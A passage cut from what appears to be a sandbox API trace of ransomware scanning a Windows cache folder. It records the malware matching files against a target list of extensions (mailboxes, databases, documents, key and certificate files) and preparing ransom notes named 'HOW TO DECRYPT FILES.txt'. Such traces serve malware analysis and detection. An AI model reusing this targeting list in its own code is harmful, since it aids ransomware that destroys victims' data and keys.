Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qby") returned 0 [0082.453] lstrlenA (lpString="*.qby") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qbj") returned 0 [0082.453] lstrlenA (lpString="*.qbj") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.ofx") returned 0 [0082.453] lstrlenA (lpString="*.ofx") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.qif") returned 0 [0082.453] lstrlenA (lpString="*.qif") returned 5 [0082.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.mye") returned 0 [0082.454] lstrlenA (lpString="*.mye") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.mbox") returned 0 [0082.454] lstrlenA (lpString="*.mbox") returned 6 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.eml") returned 0 [0082.454] lstrlenA (lpString="*.eml") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.pst") returned 0 [0082.454] lstrlenA (lpString="*.pst") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.ost") returned 0 [0082.454] lstrlenA (lpString="*.ost") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.idx") returned 0 [0082.454] lstrlenA (lpString="*.idx") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.dbx") returned 0 [0082.454] lstrlenA (lpString="*.dbx") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.sql") returned 0 [0082.454] lstrlenA (lpString="*.sql") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.mdb") returned 0 [0082.454] lstrlenA (lpString="*.mdb") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.fdb") returned 0 [0082.454] lstrlenA (lpString="*.fdb") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.wab") returned 0 [0082.454] lstrlenA (lpString="*.wab") returned 5 [0082.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.dat") returned 0 [0082.455] lstrlenA (lpString="*.dat") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.txt") returned 0 [0082.455] lstrlenA (lpString="*.txt") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.jpeg") returned 0 [0082.455] lstrlenA (lpString="*.jpeg") returned 6 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.jpg") returned 0 [0082.455] lstrlenA (lpString="*.jpg") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.png") returned 0 [0082.455] lstrlenA (lpString="*.png") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.php") returned 0 [0082.455] lstrlenA (lpString="*.php") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.cs") returned 0 [0082.455] lstrlenA (lpString="*.cs") returned 4 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.cpp") returned 0 [0082.455] lstrlenA (lpString="*.cpp") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.rar") returned 0 [0082.455] lstrlenA (lpString="*.rar") returned 5 [0082.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.zip") returned 0 [0082.456] lstrlenA (lpString="*.zip") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.html") returned 0 [0082.456] lstrlenA (lpString="*.html") returned 6 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.htm") returned 0 [0082.456] lstrlenA (lpString="*.htm") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.xlsx") returned 0 [0082.456] lstrlenA (lpString="*.xlsx") returned 6 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.xls") returned 0 [0082.456] lstrlenA (lpString="*.xls") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.mp4") returned 0 [0082.456] lstrlenA (lpString="*.mp4") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.ppt") returned 0 [0082.456] lstrlenA (lpString="*.ppt") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.pptx") returned 0 [0082.456] lstrlenA (lpString="*.pptx") returned 6 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.doc") returned 0 [0082.456] lstrlenA (lpString="*.doc") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.dot") returned 0 [0082.456] lstrlenA (lpString="*.dot") returned 5 [0082.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.docx") returned 0 [0082.457] lstrlenA (lpString="*.docx") returned 6 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.7z") returned 0 [0082.457] lstrlenA (lpString="*.7z") returned 4 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.tar") returned 0 [0082.457] lstrlenA (lpString="*.tar") returned 5 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.bz2") returned 0 [0082.457] lstrlenA (lpString="*.bz2") returned 5 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.gz") returned 0 [0082.457] lstrlenA (lpString="*.gz") returned 4 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.mkv") returned 0 [0082.457] lstrlenA (lpString="*.mkv") returned 5 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.eml") returned 0 [0082.457] lstrlenA (lpString="*.eml") returned 5 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.msg") returned 0 [0082.457] lstrlenA (lpString="*.msg") returned 5 [0082.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.edb") returned 0 [0082.457] lstrlenA (lpString="*.edb") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.accdb") returned 0 [0082.458] lstrlenA (lpString="*.accdb") returned 7 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.odb") returned 0 [0082.458] lstrlenA (lpString="*.odb") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.java") returned 0 [0082.458] lstrlenA (lpString="*.java") returned 6 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.asm") returned 0 [0082.458] lstrlenA (lpString="*.asm") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.pfx") returned 0 [0082.458] lstrlenA (lpString="*.pfx") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.pem") returned 0 [0082.458] lstrlenA (lpString="*.pem") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.p12") returned 0 [0082.458] lstrlenA (lpString="*.p12") returned 5 [0082.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.gpg") returned 0 [0082.458] lstrlenA (lpString="*.gpg") returned 5 [0082.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif", pszSpec="*.vsd") returned 0 [0082.459] lstrlenA (lpString="*.vsd") returned 5 [0082.459] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b51310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b51310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b51310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29349, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="core[1].css", cAlternateFileName="CORE_1~1.CSS")) returned 1 [0082.459] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.459] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="core[1].css") returned 1 [0082.459] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="core[1].css") returned 1 [0082.459] lstrcmpiA (lpString1="", lpString2="core[1].css") returned -1 [0082.459] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif") returned="collect[1].gif" [0082.459] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.459] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.459] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.460] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.460] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="core[1].css" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css" [0082.460] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0082.460] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.460] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0082.460] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0082.460] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0082.460] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css") returned="core[1].css" [0082.460] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.460] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.460] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.461] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.461] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\desktop.ini" [0082.461] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54ca7f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ca7f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54ca7f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2a3c, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="DevCMDL2.2.18[1].eot", cAlternateFileName="DEVCMD~1.EOT")) returned 1 [0082.461] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.461] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DevCMDL2.2.18[1].eot") returned 1 [0082.461] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DevCMDL2.2.18[1].eot") returned 1 [0082.461] lstrcmpiA (lpString1="", lpString2="DevCMDL2.2.18[1].eot") returned -1 [0082.461] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\desktop.ini") returned="desktop.ini" [0082.461] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.461] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.461] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.462] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.462] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="DevCMDL2.2.18[1].eot" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\DevCMDL2.2.18[1].eot") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\DevCMDL2.2.18[1].eot" [0082.462] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5120a1b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5120a1b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5120a1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="e151e5[1].gif", cAlternateFileName="E151E5~1.GIF")) returned 1 [0082.462] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="e151e5[1].gif") returned 1 [0082.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="e151e5[1].gif") returned 1 [0082.462] lstrcmpiA (lpString1="", lpString2="e151e5[1].gif") returned -1 [0082.462] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 